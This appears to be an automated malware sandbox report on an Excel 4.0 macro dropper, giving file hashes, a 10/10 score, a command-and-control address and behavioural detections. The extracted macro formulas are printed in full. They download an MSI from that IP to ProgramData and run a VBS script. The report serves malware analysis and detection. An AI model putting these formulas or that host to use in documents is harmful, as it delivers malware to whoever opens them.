General

  • Target

    65c8609c9338a18220829da756d34ebb

  • Size

    6KB

  • Sample

    231222-e91zhadhgm

  • MD5

    65c8609c9338a18220829da756d34ebb

  • SHA1

    8cd54c0cbc20f321bc1f8ef8fc933b1078c92f24

  • SHA256

    66a483a5198dcde1d7264037c33f90b6c076ca878f007c1b78444532938c8190

  • SHA512

    d43f9bda9676f6cec3b88eceb5a679bceb7df888be64a9b0f381c6062a8e217e58278b17fa389292685eacbf1764ef0d450e8aee7a0a3f973841a97b3ea0ad72

  • SSDEEP

    192:NDSwuSQ1aEOmmfRh8UhHFBFYuvb98yywP/oE:N/uRw71FYWb98yywPgE

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187

Attributes
  • formulas

    =EXEC("msiexec.exe") =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187","C:\ProgramData\uluculus.msi",0,0) =EXEC("wscript C:\ProgramData\start.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187

Targets

    • Target

      65c8609c9338a18220829da756d34ebb

    • Size

      6KB

    • MD5

      65c8609c9338a18220829da756d34ebb

    • SHA1

      8cd54c0cbc20f321bc1f8ef8fc933b1078c92f24

    • SHA256

      66a483a5198dcde1d7264037c33f90b6c076ca878f007c1b78444532938c8190

    • SHA512

      d43f9bda9676f6cec3b88eceb5a679bceb7df888be64a9b0f381c6062a8e217e58278b17fa389292685eacbf1764ef0d450e8aee7a0a3f973841a97b3ea0ad72

    • SSDEEP

      192:NDSwuSQ1aEOmmfRh8UhHFBFYuvb98yywP/oE:N/uRw71FYWb98yywPgE

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks